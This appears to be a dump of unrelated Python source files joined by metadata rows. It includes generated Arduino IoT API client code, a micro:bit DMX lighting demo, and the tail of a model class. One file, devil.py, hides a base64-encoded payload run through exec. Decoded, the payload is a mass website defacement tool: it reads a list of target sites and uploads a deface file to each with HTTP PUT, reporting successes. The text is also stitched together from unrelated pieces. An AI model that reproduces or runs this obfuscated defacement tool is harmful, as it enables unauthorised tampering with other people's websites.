if 'required_resources' in _dict:
args['required_resources'] = [Resource.from_dict(x) for x in _dict.get('required_resources')]
if 'package_version' in _dict:
args['package_version'] = _dict.get('package_version')
if 'can_update' in _dict:
args['can_update'] = _dict.get('can_update')
if 'messages' in _dict:
args['messages'] = _dict.get('messages')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a VersionUpdateDescriptor object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'version_locator') and self.version_locator is not None:
_dict['version_locator'] = self.version_locator
if hasattr(self, 'version') and self.version is not None:
_dict['version'] = self.version
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state.to_dict()
if hasattr(self, 'required_resources') and self.required_resources is not None:
_dict['required_resources'] = [x.to_dict() for x in self.required_resources]
if hasattr(self, 'package_version') and self.package_version is not None:
_dict['package_version'] = self.package_version
if hasattr(self, 'can_update') and self.can_update is not None:
_dict['can_update'] = self.can_update
if hasattr(self, 'messages') and self.messages is not None:
_dict['messages'] = self.messages
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this VersionUpdateDescriptor object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'VersionUpdateDescriptor') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'VersionUpdateDescriptor') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
| 41.15438
| 137
| 0.601894
| 57,946
| 504,100
| 5.042609
| 0.014479
| 0.015387
| 0.016725
| 0.021756
| 0.859671
| 0.831646
| 0.800444
| 0.776064
| 0.73798
| 0.72284
| 0
| 0.001892
| 0.301686
| 504,100
| 12,248
| 138
| 41.15774
| 0.828172
| 0.324727
| 0
| 0.766166
| 0
| 0
| 0.128524
| 0.019046
| 0
| 0
| 0
| 0
| 0
| 1
| 0.092927
| false
| 0.000827
| 0.00193
| 0
| 0.199228
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
93ea4db3557b37d6c68424c50606ec2780736aa5
| 2,320
|
py
|
Python
|
python_tests/spi_dmx_microbit.py
|
I-Kermit/ATMega32L-DMX512
|
c099bd22fe79f3f98571d9167ade4df04f04f762
|
[
"MIT"
] | null | null | null |
python_tests/spi_dmx_microbit.py
|
I-Kermit/ATMega32L-DMX512
|
c099bd22fe79f3f98571d9167ade4df04f04f762
|
[
"MIT"
] | null | null | null |
python_tests/spi_dmx_microbit.py
|
I-Kermit/ATMega32L-DMX512
|
c099bd22fe79f3f98571d9167ade4df04f04f762
|
[
"MIT"
] | null | null | null |
""" SPI to ATMega32 DMX Demonstration. """
import microbit
import time
# Press any button to repeat the test.
microbit.display.show(microbit.Image.SAD)
while not microbit.button_a.is_pressed() and not microbit.button_b.is_pressed():
pass
microbit.spi.init(baudrate=500000, bits=8, mode=0, sclk=microbit.pin13, mosi=microbit.pin15, miso=microbit.pin14)
DELAY = 2000
SECONDS_DELAY = 2
to_send = [0x00] * (512 + 1)
pad = [0x00] * (len(to_send) - 13)
while True:
# to_send = [0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00]
to_send[1] = 0xFF
to_send[9] = 0xFF
# microbit.spi.write(bytes(to_send))
microbit.spi.write(b'\x00\xFF\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00')
microbit.spi.write(bytes(pad))
microbit.display.show(1, delay=DELAY, wait=True, loop=False, clear=False)
time.sleep(SECONDS_DELAY)
# to_send = [0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00]
to_send[1] = 0x00
to_send[2] = 0xFF
to_send[9] = 0xFF
# microbit.spi.write(bytes(to_send))
microbit.spi.write(b'\x00\x00\xFF\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00')
microbit.spi.write(bytes(pad))
microbit.display.show(2, delay=DELAY, wait=True, loop=False, clear=False)
time.sleep(SECONDS_DELAY)
# to_send = [0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00]
to_send[2] = 0x00
to_send[3] = 0xFF
to_send[9] = 0xFF
# microbit.spi.write(bytes(to_send))
microbit.spi.write(b'\x00\x00\x00\xFF\x00\x00\x00\x00\x00\xFF\x00\x00\x00')
microbit.spi.write(bytes(pad))
microbit.display.show(3, delay=DELAY, wait=True, loop=False, clear=False)
time.sleep(SECONDS_DELAY)
# to_send = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
to_send[3] = 0x00
to_send[9] = 0x00
# microbit.spi.write(bytes(to_send))
microbit.spi.write(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
microbit.spi.write(bytes(pad))
microbit.display.show(4, delay=DELAY, wait=True, loop=False, clear=False)
time.sleep(SECONDS_DELAY)
microbit.display.show(microbit.Image.HAPPY)
# Press any button to repeat the test.
while not microbit.button_a.is_pressed() and not microbit.button_b.is_pressed():
pass
| 36.25
| 113
| 0.682328
| 377
| 2,320
| 4.111406
| 0.172414
| 0.185806
| 0.209032
| 0.196129
| 0.830323
| 0.785161
| 0.785161
| 0.747742
| 0.727097
| 0.727097
| 0
| 0.154915
| 0.1625
| 2,320
| 63
| 114
| 36.825397
| 0.64282
| 0.261207
| 0
| 0.375
| 0
| 0.1
| 0.122497
| 0.122497
| 0
| 0
| 0.028269
| 0
| 0
| 1
| 0
| false
| 0.05
| 0.05
| 0
| 0.05
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
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| 0
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| null | 0
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| 0
| 0
| 0
|
0
| 8
|
5fe2a7df5e6d4dd0fc009c9e8692ef89bd7d29a7
| 4,530
|
py
|
Python
|
devil.py
|
GHOST-PSYCHO/Devil
|
c10b239bd3c91f8ac82d712521fdfcf950895d75
|
[
"Apache-2.0"
] | null | null | null |
devil.py
|
GHOST-PSYCHO/Devil
|
c10b239bd3c91f8ac82d712521fdfcf950895d75
|
[
"Apache-2.0"
] | null | null | null |
devil.py
|
GHOST-PSYCHO/Devil
|
c10b239bd3c91f8ac82d712521fdfcf950895d75
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python2
#Developed By Alamin Islam
#The Credit For This Code Goes To Alamin Islam
#If You Wanna Take Credits For This Code, Please Look Yourself Again...
#Made in Bangladesh
import base64
exec(base64.b64decode('IyEvdXNyL2Jpbi9weXRob24yCiNjb2Rpbmc9dXRmLTgKI1RoZSBDcmVkaXQgRm9yIFRoaXMgQ29kZSBHb2VzIFRvIEFsYW1pbiBJc2xhbQojSWYgWW91IFdhbm5hIFRha2UgQ3JlZGl0cyBGb3IgVGhpcyBDb2RlLCBQbGVhc2UgTG9vayBZb3Vyc2VsZiBBZ2Fpbi4uLgojTWFkZSBpbiBCYW5nbGFkZXNoCgp0cnk6CiAgIGltcG9ydCByZXF1ZXN0cwogICBpbXBvcnQgb3MucGF0aAogICBpbXBvcnQgc3lzCmV4Y2VwdCBJbXBvcnRFcnJvcjoKICAgZXhpdCgiaW5zdGFsbCByZXF1ZXN0cyBhbmQgdHJ5IGFnYWluIC4uLiIpCm9zLnN5c3RlbSgiY2xlYXIiKQpiYW5uZXIgPSAiIiIKCgpcMDMzWzE7OTZt4paR4paI4paA4paA4paEIOKWiOKWgOKWgCDiloDilojilIDilojiloAg4pSA4paA4pSAIOKWiOKUgOKUgCAgICAgICBcMDMzWzE7OTRtIPCdmLzwnZmq8J2ZqfCdmZ3wnZmk8J2ZpyA6IPCdmLzwnZmh8J2ZlvCdmaLwnZme8J2ZoyDwnZmE8J2ZqPCdmaHwnZmW8J2ZoiAKXDAzM1sxOzk2beKWkeKWiOKUgOKWkeKWiCDilojiloDiloAg4pSA4paI4paE4paI4pSAIOKWgOKWiOKWgCDilojilIDilIAgICAgICAgClwwMzNbMTs5Nm3ilpHilojiloTiloTiloAg4paA4paA4paAIOKUgOKUgOKWgOKUgOKUgCDiloDiloDiloAg4paA4paA4paAICAgICAgIFwwMzNbMTs5OG3wnZC68J2RlvCdkaHihI7wnZGi8J2RjyA6IC/wnZC68J2Qu/CdkYLwnZGG8J2Rhy3wnZGD8J2RhvCdkYzwnZC28J2Qu/CdkYIKCvCfh6figIvigIvigIvigIvigIvwn4e+4oCL4oCL4oCL4oCL4oCLCgpcMDMzWzE7OTJt4pSA4paI4paA4paA4paIIOKWiOKUgOKUgCDilojiloDiloDilogg4paI4paA4paE4paA4paIIOKUgOKWgOKUgCDilojiloDiloDiloQgClwwMzNbMTs5Mm3ilpHilojiloTiloTilogg4paI4pSA4pSAIOKWiOKWhOKWhOKWiCDilojilIDiloDilIDilogg4paA4paI4paAIOKWiOKUgOKUgOKWiCAKXDAzM1sxOzkybeKWkeKWiOKUgOKWkeKWiCDiloDiloDiloAg4paA4pSA4pSA4paAIOKWgOKUgOKUgOKUgOKWgCDiloDiloDiloAg4paA4pSA4pSA4paACgoiIiIKCmIgPSAnXDAzM1szMW0nCmggPSAnXDAzM1szMm0nCm0gPSAnXDAzM1swMG0nCm9zLnN5c3RlbSgiY2xlYXIiKQpDb3JyZWN0VXNlcm5hbWUgPSAiQWxhbWluIgpDb3JyZWN0UGFzc3dvcmQgPSAiRGV2aWwiCgpsb29wID0gJ3RydWUnCndoaWxlIChsb29wID09ICd0cnVlJyk6CiAgICB1c2VybmFtZSA9IHJhd19pbnB1dCgiXDAzM1sxOzk1bVsrXSBcMDMzWzE7OTJtIFx4MWJbMTs5MW1Ub29sIFVzZXJuYW1lIFx4MWJbMTs5MW06IFx4MWJbMTs5N20iKQogICAgaWYgKHVzZXJuYW1lID09IENvcnJlY3RVc2VybmFtZSk6CiAgICAJcGFzc3dvcmQgPSByYXdfaW5wdXQoIlwwMzNbMTs5NW1bK10gXDAzM1sxOzkybSBceDFiWzE7OTFtVG9vbCBQYXNzd29yZCBceDFiWzE7OTFtOiBceDFiWzE7OTdtIikKICAgICAgICBpZiAocGFzc3dvcmQgPT0gQ29ycmVjdFBhc3N3b3JkKToKICAgICAgICAgICAgcHJpbnQgIkxvZ2dlZCBpbiBzdWNjZXNzZnVsbHkgYXMgIiArIHVzZXJuYW1lICNEZXY6QWxhbWluX0lzbGFtCiAgICAgICAgICAgIGxvb3AgPSAnZmFsc2UnCiAgICAgICAgICAgIG9zLnN5c3RlbSgiY2xlYXIiKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJcMDMzWzE7OTdtV3JvbmcgUGFzc3dvcmQiCiAgICAgICAgICAgIG9zLnN5c3RlbSgneGRnLW9wZW4gaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3Byb2ZpbGUucGhwP2lkPTEwMDA1MDU2MDkwMzIzNicpCiAgICBlbHNlOgogICAgICAgIHByaW50ICJcMDMzWzE7OTdtV3JvbmcgVXNlcm5hbWUiCiAgICAgICAgb3Muc3lzdGVtKCd4ZGctb3BlbiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vcHJvZmlsZS5waHA/aWQ9MTAwMDUwNTYwOTAzMjM2JykKCmRlZiB4KHRldGV3KToKICAgaXB0ID0gJycKICAgaWYgc3lzLnZlcnNpb25faW5mby5tYWpvciA+IDI6CiAgICAgIGlwdCA9IGlucHV0KHRldGV3KQogICBlbHNlOgogICAgICBpcHQgPSByYXdfaW5wdXQodGV0ZXcpCiAgIAogICByZXR1cm4gc3RyKGlwdCkKCmRlZiBhb3goc2NyaXB0LHRhcmdldF9maWxlPSJkZXZpbC50eHQiKToKICAgb3AgPSBvcGVuKHNjcmlwdCwiciIpLnJlYWQoKQogICB3aXRoIG9wZW4odGFyZ2V0X2ZpbGUsICJyIikgYXMgdGFyZ2V0OgogICAgICB0YXJnZXQgPSB0YXJnZXQucmVhZGxpbmVzKCkKICAgICAgcyA9IHJlcXVlc3RzLlNlc3Npb24oKQogICAgICBwcmludCgiQ3JhY2tpbmcgJWQgd2Vic2l0ZSBQbGVhc2UgV2FpdCIlKGxlbih0YXJnZXQpKSkKICAgICAgZm9yIHdlYiBpbiB0YXJnZXQ6CiAgICAgICAgIHRyeToKICAgICAgICAgICAgc2l0ZSA9IHdlYi5zdHJpcCgpCiAgICAgICAgICAgIGlmIHNpdGUuc3RhcnRzd2l0aCgiaHR0cDovLyIpIGlzIEZhbHNlOgogICAgICAgICAgICAgICBzaXRlID0gImh0dHA6Ly8iICsgc2l0ZQogICAgICAgICAgICByZXEgPSBzLnB1dChzaXRlKyIvIitzY3JpcHQsZGF0YT1vcCkKICAgICAgICAgICAgaWYgcmVxLnN0YXR1c19jb2RlIDwgMjAwIG9yIHJlcS5zdGF0dXNfY29kZSA+PSAyNTA6CiAgICAgICAgICAgICAgIHByaW50KG0rIlsiK2IrIiBGQUlMRUQhIittKyIgXSAlcy8lcyIlKHNpdGUsc2NyaXB0KSkKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgcHJpbnQobSsiWyIraCsiIFNVQ0NFU1MiK20rIiBdICVzLyVzIiUoc2l0ZSxzY3JpcHQpKQoKICAgICAgICAgZXhjZXB0IHJlcXVlc3RzLmV4Y2VwdGlvbnMuUmVxdWVzdEV4Y2VwdGlvbjoKICAgICAgICAgICAgY29udGludWUKICAgICAgICAgZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0OgogICAgICAgICAgICBwcmludDsgZXhpdCgpCgpkZWYgbWFpbihfX2JuX18pOgogICBwcmludChfX2JuX18pCiAgIHdoaWxlIFRydWU6CiAgICAgIHRyeToKICAgICAgICAgYSA9IHgoIkVudGVyIFlvdXIgRGVmYWNlIEZpbGUgUGF0aCBvciBUeXBlIGRldmlsLmh0bWw6ICIpCiAgICAgICAgIGlmIG5vdCBvcy5wYXRoLmlzZmlsZShhKToKICAgICAgICAgICAgcHJpbnQoImZpbGUgJyVzJyBub3QgZm91bmQiJShhKSkKICAgICAgICAgICAgY29udGludWUKICAgICAgICAgZWxzZToKICAgICAgICAgICAgYnJlYWsKICAgICAgZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0OgogICAgICAgICBwcmludDsgZXhpdCgpCgogICBhb3goYSkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKGJhbm5lcikK'))
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0
| 9
|
272682ca1563182a8e1986045bb8e4ff90504419
| 57,118
|
py
|
Python
|
arduino_iot_rest/api/dashboards_v2_api.py
|
arduino/iot-client-py
|
0f17200aa0939b960ba1ddff146cca46643ee268
|
[
"Apache-2.0"
] | 13
|
2020-01-19T10:54:35.000Z
|
2022-02-27T22:43:21.000Z
|
arduino_iot_rest/api/dashboards_v2_api.py
|
arduino/iot-client-py
|
0f17200aa0939b960ba1ddff146cca46643ee268
|
[
"Apache-2.0"
] | 10
|
2019-11-26T04:39:32.000Z
|
2021-03-25T07:46:39.000Z
|
arduino_iot_rest/api/dashboards_v2_api.py
|
arduino/iot-client-py
|
0f17200aa0939b960ba1ddff146cca46643ee268
|
[
"Apache-2.0"
] | 10
|
2020-01-19T10:54:42.000Z
|
2021-12-09T05:46:20.000Z
|
# coding: utf-8
"""
Arduino IoT Cloud API
Provides a set of endpoints to manage Arduino IoT Cloud **Devices**, **Things**, **Properties** and **Timeseries**. This API can be called just with any HTTP Client, or using one of these clients: * [Javascript NPM package](https://www.npmjs.com/package/@arduino/arduino-iot-client) * [Python PYPI Package](https://pypi.org/project/arduino-iot-client/) * [Golang Module](https://github.com/arduino/iot-client-go) # noqa: E501
The version of the OpenAPI document: 2.0
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from arduino_iot_rest.api_client import ApiClient
from arduino_iot_rest.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class DashboardsV2Api(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def dashboards_v2_create(self, dashboardv2, **kwargs): # noqa: E501
"""create dashboards_v2 # noqa: E501
Create a new dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_create(dashboardv2, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param Dashboardv2 dashboardv2: DashboardV2Payload describes a dashboard (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: ArduinoDashboardv2
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_create_with_http_info(dashboardv2, **kwargs) # noqa: E501
def dashboards_v2_create_with_http_info(self, dashboardv2, **kwargs): # noqa: E501
"""create dashboards_v2 # noqa: E501
Create a new dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_create_with_http_info(dashboardv2, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param Dashboardv2 dashboardv2: DashboardV2Payload describes a dashboard (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(ArduinoDashboardv2, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'dashboardv2'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'dashboardv2' is set
if self.api_client.client_side_validation and ('dashboardv2' not in local_var_params or # noqa: E501
local_var_params['dashboardv2'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `dashboardv2` when calling `dashboards_v2_create`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'dashboardv2' in local_var_params:
body_params = local_var_params['dashboardv2']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ArduinoDashboardv2', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_delete(self, id, **kwargs): # noqa: E501
"""delete dashboards_v2 # noqa: E501
Delete a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_delete(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_delete_with_http_info(id, **kwargs) # noqa: E501
def dashboards_v2_delete_with_http_info(self, id, **kwargs): # noqa: E501
"""delete dashboards_v2 # noqa: E501
Delete a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_delete_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_delete" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_delete_share(self, id, user_id, **kwargs): # noqa: E501
"""deleteShare dashboards_v2 # noqa: E501
Delete a user the dashboard has been shared with # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_delete_share(id, user_id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param str user_id: The id of the user (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_delete_share_with_http_info(id, user_id, **kwargs) # noqa: E501
def dashboards_v2_delete_share_with_http_info(self, id, user_id, **kwargs): # noqa: E501
"""deleteShare dashboards_v2 # noqa: E501
Delete a user the dashboard has been shared with # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_delete_share_with_http_info(id, user_id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param str user_id: The id of the user (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id',
'user_id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_delete_share" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_delete_share`") # noqa: E501
# verify the required parameter 'user_id' is set
if self.api_client.client_side_validation and ('user_id' not in local_var_params or # noqa: E501
local_var_params['user_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `user_id` when calling `dashboards_v2_delete_share`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
if 'user_id' in local_var_params:
path_params['user_id'] = local_var_params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}/shares/{user_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_link(self, id, widget_id, widgetlink, **kwargs): # noqa: E501
"""link dashboards_v2 # noqa: E501
Link or detach widget variables # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_link(id, widget_id, widgetlink, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param str widget_id: The id of the widget (required)
:param Widgetlink widgetlink: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: ArduinoVariableslinks
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_link_with_http_info(id, widget_id, widgetlink, **kwargs) # noqa: E501
def dashboards_v2_link_with_http_info(self, id, widget_id, widgetlink, **kwargs): # noqa: E501
"""link dashboards_v2 # noqa: E501
Link or detach widget variables # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_link_with_http_info(id, widget_id, widgetlink, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param str widget_id: The id of the widget (required)
:param Widgetlink widgetlink: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(ArduinoVariableslinks, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id',
'widget_id',
'widgetlink'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_link" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_link`") # noqa: E501
# verify the required parameter 'widget_id' is set
if self.api_client.client_side_validation and ('widget_id' not in local_var_params or # noqa: E501
local_var_params['widget_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `widget_id` when calling `dashboards_v2_link`") # noqa: E501
# verify the required parameter 'widgetlink' is set
if self.api_client.client_side_validation and ('widgetlink' not in local_var_params or # noqa: E501
local_var_params['widgetlink'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `widgetlink` when calling `dashboards_v2_link`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
if 'widget_id' in local_var_params:
path_params['widgetId'] = local_var_params['widget_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'widgetlink' in local_var_params:
body_params = local_var_params['widgetlink']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}/widgets/{widgetId}/variables', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ArduinoVariableslinks', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
